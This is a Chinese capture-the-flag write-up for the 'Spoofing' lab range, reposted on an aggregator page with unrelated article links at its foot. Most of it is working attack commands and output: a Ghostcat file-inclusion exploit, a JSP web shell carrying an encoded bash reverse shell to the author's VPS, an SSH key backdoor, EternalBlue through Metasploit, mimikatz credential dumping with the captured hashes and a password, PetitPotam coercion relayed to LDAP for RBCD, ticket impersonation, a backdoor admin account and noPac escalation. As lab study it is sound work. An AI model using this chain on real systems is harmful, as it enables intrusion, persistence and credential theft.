当前位置: 首页 > news >正文

[春秋云镜] Spoofing仿真场景

文章目录

    • 靶标介绍:`在这里插入代码片`
    • 外网
      • Tomcat文件包含
      • 写公钥留后门
    • 内网
      • chisel搭代理
      • MS17-010
      • 强制认证
      • RBCD
      • nopac
    • 参考文章

靶标介绍:在这里插入代码片

Spoofing是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

考点:

  • CVE-2020-1983 Tomcat文件包含
  • MS17-010
  • NTLM Relay via WebDAV+Petitpotam Coerce Authentication
  • RBCD
  • noPac

外网

Tomcat文件包含

fscan扫描可以发现8080端口

再用dirsearch扫描一下, 可以发现一个/docs/路由, 可以看到版本 9.0.30
在这里插入图片描述

这个版本的tomcat存在一个文件包含漏洞

直接打

https://github.com/00theway/Ghostcat-CNVD-2020-10487

python3 ajpShooter.py http://39.99.230.172/:8080 8009  /WEB-INF/web.xml read
<!DOCTYPE web-app PUBLIC"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN""http://java.sun.com/dtd/web-app_2_3.dtd" ><web-app><display-name>Archetype Created Web Application</display-name><security-constraint><display-name>Tomcat Server Configuration Security Constraint</display-name><web-resource-collection><web-resource-name>Protected Area</web-resource-name><url-pattern>/upload/*</url-pattern></web-resource-collection><auth-constraint><role-name>admin</role-name></auth-constraint></security-constraint><error-page><error-code>404</error-code><location>/404.html</location></error-page><error-page><error-code>403</error-code><location>/error.html</location></error-page><error-page><exception-type>java.lang.Throwable</exception-type><location>/error.html</location></error-page><servlet><servlet-name>HelloServlet</servlet-name><servlet-class>com.example.HelloServlet</servlet-class></servlet><servlet-mapping><servlet-name>HelloServlet</servlet-name><url-pattern>/HelloServlet</url-pattern></servlet-mapping><servlet><display-name>LoginServlet</display-name><servlet-name>LoginServlet</servlet-name><servlet-class>com.example.LoginServlet</servlet-class></servlet><servlet-mapping><servlet-name>LoginServlet</servlet-name><url-pattern>/LoginServlet</url-pattern></servlet-mapping><servlet><display-name>RegisterServlet</display-name><servlet-name>RegisterServlet</servlet-name><servlet-class>com.example.RegisterServlet</servlet-class></servlet><servlet-mapping><servlet-name>RegisterServlet</servlet-name><url-pattern>/RegisterServlet</url-pattern></servlet-mapping><servlet><display-name>UploadTestServlet</display-name><servlet-name>UploadTestServlet</servlet-name><servlet-class>com.example.UploadTestServlet</servlet-class></servlet><servlet-mapping><servlet-name>UploadTestServlet</servlet-name><url-pattern>/UploadServlet</url-pattern></servlet-mapping><servlet><display-name>DownloadFileServlet</display-name><servlet-name>DownloadFileServlet</servlet-name><servlet-class>com.example.DownloadFileServlet</servlet-class></servlet><servlet-mapping><servlet-name>DownloadFileServlet</servlet-name><url-pattern>/DownloadServlet</url-pattern></servlet-mapping>
</web-app>

看到有一个UploadServlet功能 能上传文件,所以可以包含文件rce

http://39.99.230.172:8080/UploadServlet

上传一个反弹shell的马

<%java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NC4xNy4xNjMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");
%>
/upload/32cd910d056dfdb8b3723953384949cd/20250514043049754.txt

在这里插入图片描述

python3 ajpShooter.py http://39.99.230.172:8080/   8009 /upload/32cd910d056dfdb8b3723953384949cd/20250514043527042.txt  eval

在这里插入图片描述

在这里插入图片描述

权限比较高, 写个公钥留后门, 方便连接

写公钥留后门

  1. 先在本地机器上生成 SSH 密钥对
ssh-keygen -t rsa -b 4096

使用 ssh-keygen 生成一对 RSA 密钥,包含私钥(id_rsa)和公钥(id_rsa.pub)

-t rsa:指定密钥类型为 RSA

-b 4096:指定密钥长度为 4096 位(高强度加密)

执行完成后会在本地用户的 ~/.ssh/ 目录下生成

  • 私钥:~/.ssh/id_rsa(需保密)

  • 公钥:~/.ssh/id_rsa.pub(可公开,用于认证)

  1. 查看公钥内容, 将公钥添加到目标服务器上
#在自己机器上
cat ~/.ssh/id_rsa.pub#在目标机器上
echo "公钥的内容" > /root/.ssh/authorized_keys

authorized_keys 文件是 SSH 服务器用于存储信任的公钥的配置文件。如果某公钥存在于此文件中,持有对应私钥的用户可以无需密码登录。

  1. 设置正确的文件权限
chmod 600 /root/.ssh/authorized_keys

SSH 要求 authorized_keys 文件具有严格的权限(通常为 600,仅文件所有者可读写),否则 SSH 服务器会忽略该文件以防止安全风险。

  1. 使用私钥登录目标服务器
ssh -i ~/.ssh/id_rsa 用户名@ip

使用本地的私钥(~/.ssh/id_rsa)以某个用户的身份(公钥所在的用户)登录服务器

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClXx0WvXOSZflYA93yb+wIlqgG3SKjc8Oxav9r5PXAUjiLL3sdz9mSVvGl9ykSgm/MfdrGsRTjdexi04mdZ3Y/nyOkZnD1Np4D1a3574J2ife/LtdrZXZVd154OgF9Fug5Sbeude/7YszO/nCIRRMGEZ6XlMt3E+wp+w0RDFnyj8sKipMh4NRWf7DpGil1BOk6NZJsObzqiOJki+NQnbzVNOqwtbZ4Uwg1XXXPq2D7j1LgmGY41lv0RhAkXuueabG51Kl797P+2VBZdPNlV3AlfEj8Xt9fr3GFx6h3cYvYI4JDh7QpkiIBEho4Y3g7qe38mXr3bzmuIncO1zfBZadZkb2yLNaWAEaLeK37end4Dr0owbkrTUmxT1BJ2issL45+uUGLwIlv1uTtxi1w3K+ffqirH5GKBcVxU5IOfPhfYwg+ZI4tg0tr7PRw527QzP7xMkT9KU6agpQ5sFVxx3ZfIN9R/UxHDl/EVA9gPvXKCj0cktPlwS8UOZ7DYwNe5SVSPFm9RJjrjtXSjYW/I1ICXpKEJz4HdVUHnWDRPYY7QtOwGRHvHZy+lPcvZMmXox0N6+Hs/yYvxB/wm3HdenI0Qa6N3fN1gqevuvCL2tN+uzumRHuNKw8is+JSeC7GquMulLT3IqfBqMowWnwGKs6/0NFV6LiiwOaIJb1VUPm/ew== kali@kali"  > /root/.ssh/authorized_keys
ssh -i ~/.ssh/id_rsa root@39.99.230.172

在这里插入图片描述

内网

自己的vps开启一个http服务, 让受控主机下载一下fscan和chisel工具 进行内网扫描以及代理搭建

python3 -m http.server 8080

然后受控主机下载文件

wget http://8.154.17.163:8080/fscan
wget http://8.154.17.163:8080/chisel
chmod +x fscan
chmod +x chisel

fscan扫描

[2025-05-14 16:50:55] [SUCCESS] 目标 172.22.11.76    存活 (ICMP)
[2025-05-14 16:50:55] [SUCCESS] 目标 172.22.11.6     存活 (ICMP)
[2025-05-14 16:50:55] [SUCCESS] 目标 172.22.11.26    存活 (ICMP)
[2025-05-14 16:50:56] [SUCCESS] 目标 172.22.11.45    存活 (ICMP)
[2025-05-14 16:50:58] [INFO] 存活主机数量: 4
[2025-05-14 16:50:58] [INFO] 有效端口数量: 233
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.6:88
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.76:22
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.6:389
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.6:139
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.26:139
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.45:139
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.26:135
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.45:135
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.6:135
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.45:445
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.6:445
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.26:445
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.76:8009
[2025-05-14 16:50:58] [SUCCESS] 端口开放 172.22.11.76:8080
[2025-05-14 16:50:59] [SUCCESS] 服务识别 172.22.11.76:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.5 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5.]
[2025-05-14 16:51:04] [SUCCESS] 服务识别 172.22.11.6:88 => 
[2025-05-14 16:51:04] [SUCCESS] 服务识别 172.22.11.6:389 => 
[2025-05-14 16:51:04] [SUCCESS] 服务识别 172.22.11.6:139 =>  Banner:[.]
[2025-05-14 16:51:04] [SUCCESS] 服务识别 172.22.11.26:139 =>  Banner:[.]
[2025-05-14 16:51:04] [SUCCESS] 服务识别 172.22.11.45:139 =>  Banner:[.]
[2025-05-14 16:51:04] [SUCCESS] 服务识别 172.22.11.45:445 => 
[2025-05-14 16:51:04] [SUCCESS] 服务识别 172.22.11.6:445 => 
[2025-05-14 16:51:04] [SUCCESS] 服务识别 172.22.11.26:445 => 
[2025-05-14 16:51:04] [SUCCESS] 服务识别 172.22.11.76:8009 => 
[2025-05-14 16:51:05] [SUCCESS] 服务识别 172.22.11.76:8080 => [http]
[2025-05-14 16:52:04] [SUCCESS] 服务识别 172.22.11.26:135 => 
[2025-05-14 16:52:04] [SUCCESS] 服务识别 172.22.11.45:135 => 
[2025-05-14 16:52:04] [SUCCESS] 服务识别 172.22.11.6:135 => 
[2025-05-14 16:52:04] [INFO] 存活端口数量: 14
[2025-05-14 16:52:04] [INFO] 开始漏洞扫描
[2025-05-14 16:52:04] [INFO] 加载的插件: findnet, ldap, ms17010, netbios, smb, smb2, smbghost, ssh, webpoc, webtitle
[2025-05-14 16:52:04] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.11.6
主机名: XIAORANG-DC
发现的网络接口:IPv4地址:└─ 172.22.11.6
[2025-05-14 16:52:04] [SUCCESS] NetBios 172.22.11.6     DC:XIAORANG\XIAORANG-DC    
[2025-05-14 16:52:04] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.11.26
主机名: XR-LCM3AE8B
发现的网络接口:IPv4地址:└─ 172.22.11.26
[2025-05-14 16:52:04] [SUCCESS] NetBios 172.22.11.26    XIAORANG\XR-LCM3AE8B          
[2025-05-14 16:52:04] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.11.45
主机名: XR-DESKTOP
发现的网络接口:
[2025-05-14 16:52:04] [SUCCESS] NetBios 172.22.11.45    XR-DESKTOP.xiaorang.lab             Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[2025-05-14 16:52:04] [SUCCESS] 172.22.11.26 CVE-2020-0796 SmbGhost Vulnerable
[2025-05-14 16:52:04] [SUCCESS] 发现漏洞 172.22.11.45 [Windows Server 2008 R2 Enterprise 7601 Service Pack 1] MS17-010
[2025-05-14 16:52:04] [SUCCESS] 网站标题 http://172.22.11.76:8080  状态码:200 长度:7091   标题:后台管理
[2025-05-14 16:52:28] [SUCCESS] 扫描已完成: 26/26
172.22.11.6    DC:XIAORANG\XIAORANG-DC 
172.22.11.76   本机
172.22.11.26   XIAORANG\XR-LCM3AE8B, CVE-2020-0796
172.22.11.45   XR-DESKTOP.xiaorang.lab MS17-010

chisel搭代理

服务端(vps)

./chisel server -p 8888 --reverse

客户端

./chisel client vps_ip:8888 R:0.0.0.0:9383:socks

MS17-010

fscan可以扫到一个ms17-010, 直接用msf打

proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.11.45
exploit
cat C:/users/administrator/flag/flag02.txt

在这里插入图片描述

抓一下用户的凭据

load kiwi
creds_all

在这里插入图片描述

在这里插入图片描述

XR-DESKTOP$  XIAORANG  98d8418b4c1c5944f6e042486670c6ae 
yangmei      XIAORANG  25e42ef4cc0ab6a8ff9e3edbbda91841 以及yangmei的明文
yangmei:xrihGHgoNZQ

强制认证

查看下WebClient和petitpotam

proxychains4 crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M Webdavproxychains4 crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M petitpotam

Webdav 模块:CME 的 Webdav 模块用于检测或利用与 WebDAV(Web Distributed Authoring and Versioning)相关的配置或漏洞。WebDAV 是 HTTP 协议的扩展,常用于文件共享,可能通过 SMB 或 HTTP 提供服务。

PetitPotam 模块:PetitPotam 是一种针对 Windows Active Directory 环境的攻击技术,利用 MS-EFSRPC(Encrypting File System Remote Protocol)漏洞(CVE-2021-36942 或相关变种)强制目标服务器进行 NTLM 认证,从而捕获 NTLM 哈希或进行中继攻击

26开启了webclient服务(支持 WebDAV 协议,通过 HTTP/HTTPS 发起认证)

在这里插入图片描述

虽然有crackmapexec可以用,但是可能很卡,可以下一个cme的可执行文件 CME,扫一下WebClient和petitpotam

proxychains4 ./cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M webdav
proxychains4 ./cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M petitpotam

petitpotam太卡了, 我没扫出来, cme可执行文件的一些依赖我没有, 一直没配好, 拿了一张其他人的图

在这里插入图片描述

存在PetitPotam漏洞

所以现在要使用的就是无ADCS + Petitpotam + ntlm中继打法

利用 PetitPotam 诱导目标主机通过 WebClient 服务访问我们控制的恶意 HTTP 服务器,捕获其 NTLM 认证请求, 并将捕获的NTLM认证中继到 ldap, 以此机器账户的身份通过 ldap修改其自身的msDS-AllowedToActOnBehalfOfOtherIdentity属性, 配置到XR-LCM3AE8B.xiaorang.lab的RBCD

但这里有个前提,需要我们把服务器(中继:172.22.11.76)80端口的流量转发到客户端(kali)本地的80端口,但SSH的反向端口转发监听的时候只会监听127.0.0.1,所以这里我们让流量 0.0.0.0:80 转发到 127.0.0.1:79,这样就可以通过SSH的反向端口转发将79端口转发回本地的80端口 ,变相使80监听在0.0.0.0

ssh -i ~/.ssh/id_rsa root@39.99.230.172  -D 8.154.17.163:7777 -R \*:79:127.0.0.1:80

-D 8.154.17.163:7777: 动态端口转发, 表示创建一个 SOCKS 代理
(这里我有点不懂它的作用是什么)

-R \*:79:127.0.0.1:80:在远程服务器(39.99.230.172)上监听所有网络接口(0.0.0.0)的79端口, 并将流量转发到本地 Kali 机器的80端口

在远程服务器(39.99.230.172)上运行

nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &

nohup: 命令在终端断开后继续运行(后台执行)

socat: 本地端口转发工具

TCP-LISTEN:80:在端口 80 上监听 TCP 连接

fork:为每个新连接创建子进程,确保可以处理多个并发请求

bind=0.0.0.0:绑定到所有网络接口(0.0.0.0)

TCP:localhost:79: 将接收到的流量转发到本地的 127.0.0.1:79
对应 SSH 反向转发的监听端口(由第一条命令的 -R *:79:127.0.0.1:80 创建)。

&:将命令放入后台运行,结合 nohup 确保进程持久运行

在这里插入图片描述

测试,可以发现从172.22.11.76:80 进来的流量直接转发到了我们本地的80端口

nc -lvvp 80
proxychains curl http://172.22.11.76:80

在这里插入图片描述

接着本地开启ntlmrelayx,利用前面拿下的XR-Desktop作为恶意机器账户设置RBCD,接着使用Petitpotam触发XR-LCM3AE8B认证到172.22.11.76

proxychains4 impacket-ntlmrelayx -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access

捕获目标主机的 NTLM 哈希,并中继到域控制器 172.22.11.6 的 LDAP 服务,执行 RBCD 配置

-t ldap://172.22.11.6:指定中继目标为域控制器 172.22.11.6 的 LDAP 服务

--no-dump: 不转储域控制器的凭据(如 SAM 或 NTDS.dit),仅执行权限提升操作

--no-da:不尝试将账户添加到域管理员组(Domain Admins),避免直接修改高权限组。

--no-acl:不修改目标对象的 ACL,避免触发某些安全监控

--escalate-user 'xr-desktop$': 指定提升权限的账户为 xr-desktop$(受控制的账户)

--delegate-access: 自动配置 RBCD,允许 xr-desktop$ 冒充任意用户访问目标主机的服务

proxychains4 python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26

诱导目标主机 172.22.11.26 访问恶意 HTTP 服务器,触发 WebClient 的 NTLM 认证。

在这里插入图片描述

RBCD

proxychains4 impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :98d8418b4c1c5944f6e042486670c6ae  xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6

-spn cifs/XR-LCM3AE8B.xiaorang.lab: 指定目标服务主体名称, 获取访问 XR-LCM3AE8B 的 CIFS 服务的票据

-impersonate administrator: 指定冒充的用户为域管理员账户

-hashes: 作为XR-Desktop$ 账户的凭据进行认证

-dc-ip: 指定域控制器

在这里插入图片描述

设置 KRB5CCNAME 环境变量

export KRB5CCNAME=administrator@cifs_XR-LCM3AE8B.xiaorang.lab@XIAORANG.LAB.ccache

指定 Kerberos 票据的缓存文件路径,以便后续工具(如 impacket-smbclient 或 smbexec等)使用生成的票据进行认证

在这里插入图片描述

XR-LCM3AE8B.xiaorang.lab的ip加到hosts里

sudo vim /etc/hosts
172.22.11.26 XR-LCM3AE8B.xiaorang.lab

现在可以无密码连接了

proxychains4 impacket-psexec xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 -codec gbk

xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab: 指定认证用户(域管理员账户 administrator)和目标主机(XR-LCM3AE8B.xiaorang.lab)

-k: 使用 Kerberos 认证 ,依赖环境变量 KRB5CCNAME 指定的 Kerberos 票据

-no-pass: 表示不提供密码,与 -k 配合使用

在这里插入图片描述

nopac

添加管理员账户

net user xpw 123qwe! /add
net localgroup administrators xpw /add

使用添加的管理员用户rdp上去

proxychains4 xfreerdp /u:xpw /p:123qwe!  /v:172.22.11.26 /drive:share,/mnt/xpw/kali_shard

上传猕猴桃, 抓取凭据

privilege::debug
sekurlsa::logonpasswords

在这里插入图片描述

zhanghui: 1232126b24cdf8c9bd2f788a9d7c7ed1 

信息搜集一下可以发现zhanghui用户在MA_Admin组里面, 对computer能够创建对象,能向域中添加机器账户,所以能打noPac

在这里插入图片描述

工具: https://github.com/Ridter/noPac

proxychains4 python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell

-create-child: 指示脚本创建一个新的机器账户作为攻击的载体

-use-ldap: 使用 LDAP 协议与域控制器交互,执行机器账户的创建和 sAMAccountName 修改

-shell: 成功提权后,自动启动一个交互式 shell

type C:\users\administrator\flag\flag04.txt

在这里插入图片描述

参考文章

https://bowuchuling.github.io/posts/chunqiu_Spoofing
https://fushuling.com/index.php/2023/10/14/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83%C2%B7spoofing/
https://www.cnblogs.com/backlion/p/17187375.html
https://xz.aliyun.com/news/12778

相关文章:

  • 链表面试题9之环形链表进阶
  • 数据中心Overlay解决方案
  • 游戏引擎学习第299天:改进排序键 第二部分
  • mapbox进阶,纯前端geojson转shape,并将shape相关文件压缩成zip压缩包并下载
  • Redis中SETNX、Lua 脚本和 Redis事务的对比
  • python打卡训练营打卡记录day31
  • 数据结构*排序
  • Docker网络全景解析:Overlay与Macvlan深度实践,直通Service Mesh集成核心
  • 机器学习 决策树-分类
  • MacBook Air A2179(Intel版)安装macOS Catalina所需时间
  • macOS 效率工具对比分析:Raycast、Alfred、uTools、Spotlight
  • 第50天-使用Python+Qt+DeepSeek开发AI运势测算
  • Spring是如何实现scope作用域支持
  • Mac如何允许安装任何来源软件?
  • 《决策科学与艺术》No1: 决策树:概念、原理、发展历史、特点及应用
  • 使用 OpenCV 实现万花筒效果
  • 跨域_Cross-origin resource sharing
  • 微软押注“代理式AI网络”:一场重塑软件开发与工作方式的技术革命
  • 仓颉开发语言入门教程:常见UI组件介绍和一些问题踩坑
  • Vue 3.0 中 Teleport 详解
  • 谷神星一号海射型遥五运载火箭发射成功
  • 新华社千笔楼:地方文旅宣传应走出“魔性尬舞”的流量焦虑
  • 经济日报:人工智能开启太空经济新格局
  • 多少Moreless:向世界展示现代中式家具的生活美学
  • 一个留美学生的思想转向——裘毓麐的《游美闻见录》及其他
  • 安徽省委副秘书长、省委政研室主任余三元调任省社科院院长